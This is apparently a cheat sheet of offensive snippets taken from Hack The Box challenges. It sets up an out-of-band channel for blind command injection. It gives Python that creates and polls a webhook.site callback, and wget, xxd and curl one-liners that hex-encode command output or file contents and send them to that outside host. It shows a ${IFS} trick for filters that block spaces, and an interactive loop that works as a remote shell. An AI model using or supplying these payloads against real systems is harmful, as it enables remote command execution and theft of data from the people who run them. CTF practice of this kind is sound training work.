webhook.site
Create webhook.site URI
A webhook.site token provides both the UUID used for polling and the callback URL used in the payload.
import requests
import sys
from colorama import Fore, init
init(autoreset=True)
WEBHOOK_API = "https://webhook.site"
def create_webhook_uri(s):
print(f"[+] {Fore.LIGHTGREEN_EX}Creating webhook.site URI...")
try:
r = s.post(url=f"{WEBHOOK_API}/token", timeout=10)
except Exception as e:
print(f"[-] {Fore.RED}Could not generate webhook.site URI: {e}")
sys.exit(1)
# get only the json body from the response
json_body = r.json()
uuid = json_body.get("uuid")
callback_url = f"{WEBHOOK_API}/{uuid}"
print(f"[+] {Fore.LIGHTGREEN_EX}Got callback URL: {callback_url}")
# return both to build the OOB URL and poll for its output later
webhook_details = uuid, callback_url
return webhook_detailsFind by: webhook.site, create webhook, callback, uuid, token, oob, out of band · Source: HTB/VoidWhispers + HTB/Gunship
Poll and decode command output
Poll the newest request until webhook.site receives a data query parameter, then decode the hex command output and return it as a string.
import binascii
import time
def out_of_band_poll(s, uuid):
print(f"[+] {Fore.LIGHTGREEN_EX}Waiting for OOB callback...")
POLL_URL = f"{WEBHOOK_API}/token/{uuid}/requests?sorting=newest"
while True:
try:
r = s.get(url=POLL_URL, timeout=10)
except Exception as e:
print(f"[-] {Fore.RED}Could not poll webhook: {e}")
sys.exit(1)
# convert the response to a dict and get the list of received requests
json_body = r.json()
webhook_request_list = json_body.get("data", [])
if not webhook_request_list:
# wait before checking again to avoid spamming the API
time.sleep(2)
continue
webhook_received_query = webhook_request_list[0].get("query", "")
if not webhook_received_query:
time.sleep(2)
continue
# data is the query parameter extracted from the URI
hex_command_output = webhook_received_query.get("data")
if not hex_command_output:
time.sleep(2)
continue
# decode output from hex to bytes, then to a string
ascii_output = binascii.unhexlify(hex_command_output).decode()
return ascii_outputFind by: webhook.site, poll webhook, oob callback, command output, hex decode, binascii, blind exfil · Source: HTB/VoidWhispers + HTB/Gunship
Send command output to webhook.site
wget -qO /dev/null discards the response body and sends the hex-encoded command output in the data query parameter. xxd -p -c 9999 keeps the hex output on one line.
oob_command = f"wget -qO /dev/null {callback_url}?data=$({command}|xxd -p -c 9999)"If the injection point does not allow spaces, replace them with ${IFS} when building the payload.
ifs = "${IFS}"
oob_command = f"wget{ifs}-qO{ifs}/dev/null{ifs}{callback_url}?data=$({command}|xxd{ifs}-p{ifs}-c{ifs}9999)"The oob_command can then be inserted into the target-specific command injection, SSTI, or prototype pollution payload.
Important
If wget or xxd is unavailable, curl can read command output from standard input and URL-encode it directly:
<COMMAND> | curl -G --data-urlencode data@- <CALLBACK_URL>data@- reads the parameter value from standard input. -G places the parameter in the query string, and --data-urlencode URL-encodes the command output.
A file can be read directly without a shell:
curl -G --data-urlencode data@<FILE> <CALLBACK_URL>The piped command-output form requires a shell only when the execution sink does not already run inside one. HTTPS callback URLs are preferred when validating outbound HTTP behavior.
Find by: webhook.site, wget, xxd, hex exfil, command output, blind rce, callback url, IFS, space bypass
Interactive OOB command loop
One callback URL is reused for every command, and webhook.site is polled for decoded output after each payload is sent. send_payload() is the only target-specific replacement.
if __name__ == "__main__":
s = requests.Session()
uuid, callback_url = create_webhook_uri(s)
print(f"[+] {Fore.LIGHTGREEN_EX}Insert command to run below")
try:
while True:
command = input("> ").strip()
send_payload(s, callback_url, command)
# sleep a little to give the callback time to arrive
time.sleep(4)
output = out_of_band_poll(s, uuid)
print(output)
except KeyboardInterrupt:
print(f"[-] {Fore.RED}User interrupted.")Find by: webhook.site, command loop, oob shell, blind rce loop, poll callback, interactive command · Source: HTB/VoidWhispers + HTB/Gunship